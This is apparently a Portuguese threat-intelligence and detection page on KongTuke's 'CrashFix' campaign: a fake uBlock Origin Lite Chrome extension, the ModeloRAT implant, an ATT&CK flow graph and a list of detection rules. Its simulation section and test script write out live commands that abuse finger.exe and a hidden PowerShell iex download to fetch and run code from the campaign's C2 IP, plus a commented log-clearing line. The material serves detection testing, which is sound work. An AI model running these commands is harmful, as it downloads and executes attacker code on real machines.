Dissecando o CrashFix: O Novo Brinquedo de KongTuke
Detection stack
- AIDR
- Alert
- ETL
- Query
Resumo
KongTuke distribuiu uma extensão maliciosa do Chrome, NexShield, imitando o uBlock Origin Lite. Uma vez instalada, ela exibe um aviso de segurança “CrashFix” para simular um incidente legítimo de segurança do navegador, travando o navegador e coagindo o usuário a executar um comando malicioso de PowerShell copiado para a área de transferência. A campanha implanta um RAT Python, ModeloRAT, em sistemas conectados ao domínio e uma cadeia multiestágio de PowerShell em hosts independentes.
Investigação
Os analistas da Huntress revisaram o código da extensão, vincularam o comando e controle ao nexsnield.com e realizaram engenharia reversa das cargas úteis. Eles observaram o abuso do finger.exe como um LOLBin para recuperar instruções do invasor, além de um DGA que gera domínios .top. Para ambientes em um domínio, os pesquisadores identificaram um implante Python criptografado com RC4 que persiste através da chave Run do HKCU. Técnicas adicionais incluíram verificações de anti-análise, bypass da AMSI, e táticas de exaustão de recursos destinadas a pressionar os usuários a uma conformidade total rápida.
Mitigação
Bloqueie o ID da extensão do Chrome e monitore extensões desconhecidas que imitam bloqueadores de anúncios populares. Detecte beaconing para nexsnield.com, os IPs de C2 e domínios produzidos por DGA. Aplique controle de execução para limitar o uso de LOLBin (incluindo finger.exe) e alerte sobre valores suspeitos de chave Run, particularmente nomes criados para se assemelhar a softwares amplamente utilizados.
Resposta
Alerta sobre instalações de extensões relacionadas ao NexShield e correlacione com conexões de saída para a infraestrutura C2 e DGA identificada. Isole hosts afetados e colete artefatos de extensão, chaves de registro Run, tarefas agendadas e arquivos descartados. Remova a persistência do ModeloRAT, erradique componentes de estágio PowerShell e remedeie e valide o endpoint.
graph TB %% Class definitions classDef action fill:#FFEEAA classDef tool fill:#99CCFF classDef malware fill:#FF9999 classDef process fill:#CCFFCC classDef persistence fill:#D9D9D9 classDef operator fill:#FFCC66 content_injection[“<b>Ação</b> – <b>T1659 Injeção de Conteúdo</b><br/>Um anúncio malicioso redireciona a vítima para uma página falsa da Chrome Web Store oferecendo uma extensão maliciosa”] class content_injection action software_extension[“<b>Ação</b> – <b>T1176 Extensões de Software</b><br/>Uma extensão maliciosa disfarçada de uBlock Origin Lite é instalada no navegador”] class software_extension action extension_nexshield[“<b>Ferramenta</b> – <b>Nome</b>: NexShield (extensão maliciosa do Chrome)<br/><b>Descrição</b>: Fornece persistência e executa lógica maliciosa adicional”] class extension_nexshield tool user_execution[“<b>Ação</b> – <b>T1204.004 Execução do Usuário</b><br/>A extensão copia um comando PowerShell para a área de transferência e a vítima o executa via Win+R”] class user_execution action powershell_process[“<b>Processo</b> – <b>T1059.001 PowerShell</b><br/>Executa um comando PowerShell que baixa cargas adicionais”] class powershell_process process cmd_process[“<b>Processo</b> – <b>T1059.003 Prompt de Comando do Windows</b><br/>O PowerShell invoca o cmd.exe para executar estágios adicionais”] class cmd_process process sandbox_evasion[“<b>Ação</b> – <b>T1497.002 Evasão de Virtualização/Sandbox</b><br/>A carga executa verificações extensivas de VM, sandbox e ferramentas de análise”] class sandbox_evasion action dos_exhaustion[“<b>Ação</b> – <b>T1499.003 Negação de Serviço no Endpoint</b><br/>Cria bilhões de portas de execução do Chrome para esgotar CPU e memória, causando falha do navegador”] class dos_exhaustion action event_trigger[“<b>Ação</b> – <b>T1546 Execução Disparada por Evento</b><br/>Usa a API Chrome Alarms para atrasar ações maliciosas em 60 minutos e repeti-las a cada 10 minutos”] class event_trigger action dead_drop[“<b>Ação</b> – <b>T1102.001 Dead Drop Resolver via Serviço Web</b><br/>Contata domínios DGA gerados dinamicamente para obter estágios adicionais”] class dead_drop action dga_resolution[“<b>Ação</b> – <b>T1568 Resolução Dinâmica</b><br/>O algoritmo de geração de domínios produz domínios rotativos semanais para C2”] class dga_resolution action bidirectional_comm[“<b>Ação</b> – <b>T1102.002 Comunicação Bidirecional via Serviço Web</b><br/>O ModeloRAT troca comandos e respostas criptografadas via HTTP”] class bidirectional_comm action oneway_comm[“<b>Ação</b> – <b>T1102.003 Comunicação Unidirecional via Serviço Web</b><br/>Envia telemetria e dados de instalação/atualização para servidor controlado pelo atacante”] class oneway_comm action encrypted_rc4[“<b>Ação</b> – <b>T1573.001 Canal Criptografado</b><br/>O tráfego C2 é criptografado com criptografia simétrica RC4”] class encrypted_rc4 action obfuscation[“<b>Ação</b> – <b>T1027 Arquivos ou Informações Ofuscadas</b><br/>As cargas são protegidas em camadas com Base64, XOR e criptografia AES”] class obfuscation action stripped_payload[“<b>Ação</b> – <b>T1027.008 Cargas Removidas</b><br/>As cargas são removidas e codificadas para evitar análise”] class stripped_payload action embedded_payload[“<b>Ação</b> – <b>T1027.009 Cargas Incorporadas</b><br/>As cargas criptografadas são carregadas diretamente na memória”] class embedded_payload action appcert_dll[“<b>Ação</b> – <b>T1546.009 Execução por Evento: AppCert DLL</b><br/>O loop DoS explora portas de execução do Chrome de forma análoga à técnica AppCert DLL”] class appcert_dll action remote_access_tool[“<b>Malware</b> – <b>T1219 Ferramentas de Acesso Remoto</b><br/>O ModeloRAT fornece capacidades completas de acesso remoto”] class remote_access_tool malware persistence_run[“<b>Ação</b> – <b>T1554 Comprometimento de Binários do Host</b><br/>A chave HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Run inicia pythonw.exe para persistência”] class persistence_run persistence exec_guardrail[“<b>Ação</b> – <b>T1480.002 Barreiras de Execução</b><br/>Verifica execuções anteriores via beacons UUID para evitar infecções duplicadas”] class exec_guardrail action content_injection –>|leads_to| software_extension software_extension –>|installs| extension_nexshield extension_nexshield –>|provides_persistence| persistence_run extension_nexshield –>|copies_command| user_execution user_execution –>|triggers| powershell_process powershell_process –>|launches| cmd_process powershell_process –>|performs| sandbox_evasion sandbox_evasion –>|allows| powershell_process powershell_process –>|creates| dos_exhaustion dos_exhaustion –>|uses| appcert_dll extension_nexshield –>|sets| event_trigger event_trigger –>|delays| powershell_process powershell_process –>|contacts| dead_drop dead_drop –>|uses| dga_resolution dga_resolution –>|provides| bidirectional_comm bidirectional_comm –>|encrypts_with| encrypted_rc4 bidirectional_comm –>|exchanges_with| remote_access_tool oneway_comm –>|sends_to| encrypted_rc4 powershell_process –>|obfuscates_using| obfuscation obfuscation –>|includes| stripped_payload obfuscation –>|includes| embedded_payload remote_access_tool –>|communicates_via| bidirectional_comm remote_access_tool –>|sends_telemetry| oneway_comm persistence_run –>|creates| exec_guardrail exec_guardrail –>|prevents| persistence_run
Fluxo de ataque
Detecções
Chamar Métodos .NET Suspeitos a partir do Powershell (via powershell)
Visualizar
Uso suspeito de CURL (via linha de comando)
Visualizar
Nome de Arquivo Curto (via linha de comando)
Visualizar
Possível Operação Manual ou de Script foi Realizada em Pastas Incomuns (via linha de comando)
Visualizar
Strings Suspeitas do Powershell (via powershell)
Visualizar
Chamar Funções de API do Windows Suspeitas a partir do Powershell (via powershell)
Visualizar
Possíveis Pontos de Persistência [ASEPs – Hive de Software/NTUSER] (via evento de registro)
Visualizar
Um Arquivo foi Extraído para um Diretório Suspeito Usando o Powershell (via powershell)
Visualizar
Execução de Python a partir de Pastas Suspeitas (via linha de comando)
Visualizar
Possíveis Indicadores de Ofuscação do Powershell (via powershell)
Visualizar
Possível Enumeração do Sistema (via linha de comando)
Visualizar
Download ou Upload via Powershell (via linha de comando)
Visualizar
IOCs (SourceIP) para detectar: Dissecando CrashFix: Novo Brinquedo de KongTuke
Visualizar
IOCs (HashSha256) para detectar: Dissecando CrashFix: Novo Brinquedo de KongTuke
Visualizar
IOCs (DestinationIP) para detectar: Dissecando CrashFix: Novo Brinquedo de KongTuke
Visualizar
IOCs (Emails) para detectar: Dissecando CrashFix: Novo Brinquedo de KongTuke
Visualizar
Detectar Execução de Comando Malicioso do KongTuke CrashFix [Criação de Processo do Windows]
Visualizar
Detecção de Bypass da AMSI e Remoção de Evidências via PowerShell [Windows Powershell]
Visualizar
Execução de Simulação
Pré-requisito: A Verificação de Telemetria e Linha de Base Pré-voo deve ter sido aprovada.
Justificativa: Esta seção detalha a execução precisa da técnica do adversário (TTP) projetada para acionar a regra de detecção. Os comandos e a narrativa DEVEM refletir diretamente os TTPs identificados e visam gerar a telemetria exata esperada pela lógica de detecção.
-
Narrativa do Ataque e Comandos:
O adversário primeiro copia o legítimofinger.exebinário para o diretório temporário, renomeia-o paract.exe, e então usa umcmd /caninhado para invocar o binário copiado com um argumento elaborado que contacta um servidor remoto C2 (199.217.98.108). O binário transmite a carga de volta para a linha de comando, que então é enviada para um segundocmdoculto que executa o código recebido. Depois, o invasor usa o PowerShell para baixar uma carga secundária viaInvoke‑WebRequeste imediatamente a executa comiex. Todas as etapas são realizadas com interface de usuário mínima (/min) para evitar a detecção pelo usuário.1. Copiar finger.exe → %TEMP%ct.exe 2. Executar: cmd /c start "" /min cmd /c "copy %windir%system32finger.exe %temp%ct.exe&%temp%ct.exe confirm@199.217.98.108|cmd" 3. Baixar & executar carga secundária com PowerShell: powershell -NoProfile -WindowStyle Hidden -Command "iex (Invoke-WebRequest -Uri 'http://199.217.98.108/payload.ps1' -UseBasicParsing).Content" -
Script de Teste de Regressão: O script abaixo reproduz toda a cadeia de ataque em uma máquina de teste Windows. Execute-o em uma sessão de PowerShell com privilégios elevados.
#------------------------------------------------- # Execução de Comando Malicioso KongTuke CrashFix #------------------------------------------------- # 1. Implantar o LOLBin (finger.exe) para %TEMP% como ct.exe $fingerPath = "$env:windirsystem32finger.exe" $tempExe = "$env:TEMPct.exe" Copy-Item -Path $fingerPath -Destination $tempExe -Force # 2. Executar a cadeia de comando malicioso (corresponde à regra Sigma) $maliciousCmd = 'cmd /c start "" /min cmd /c "copy %windir%system32finger.exe %temp%ct.exe&%temp%ct.exe confirm@199.217.98.108|cmd"' Start-Process -FilePath "cmd.exe" -ArgumentList "/c $maliciousCmd" -WindowStyle Hidden # 3. Download web do PowerShell e execução de carga secundária $payloadUrl = 'http://199.217.98.108/payload.ps1' $psCommand = "iex (Invoke-WebRequest -Uri `'$payloadUrl`' -UseBasicParsing).Content" Start-Process -FilePath "powershell.exe" -ArgumentList "-NoProfile -WindowStyle Hidden -Command `$psCommand`" -WindowStyle Hidden #------------------------------------------------- -
Comandos de Limpeza: Remova artefatos e finalize quaisquer processos remanescentes criados pelo teste.
# Delete the copied ct.exe Remove-Item -Path "$env:TEMPct.exe" -ErrorAction SilentlyContinue # Kill any stray cmd.exe or powershell.exe processes started by the test (filter by specific command line) Get-WmiObject Win32_Process | Where-Object { $_.CommandLine -match 'finger.exe|199.217.98.108' } | ForEach-Object { $_.Terminate() } # Optional: clear Event Log if needed for repeatability # wevlutil cl Security